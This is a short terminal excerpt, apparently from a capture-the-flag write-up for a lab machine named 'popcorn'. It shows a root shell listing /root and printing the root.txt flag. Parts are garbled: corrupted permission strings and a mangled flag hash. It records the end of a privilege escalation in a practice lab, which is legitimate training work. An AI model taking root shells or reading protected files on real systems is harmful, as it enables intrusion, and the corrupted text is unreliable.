drwxr-xr-x 2 root root 4096 Mar 17 2017 .debtags

—PW== = === 1 root root 368 Apr 11 2017 .mysql_history
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
SRWEELLLLL 1 root root 33 Mar 17 2017 root.txt

root@popcorn:/root# cat root.txt
cat root.txt
£1223310232939331920370129fd9b14
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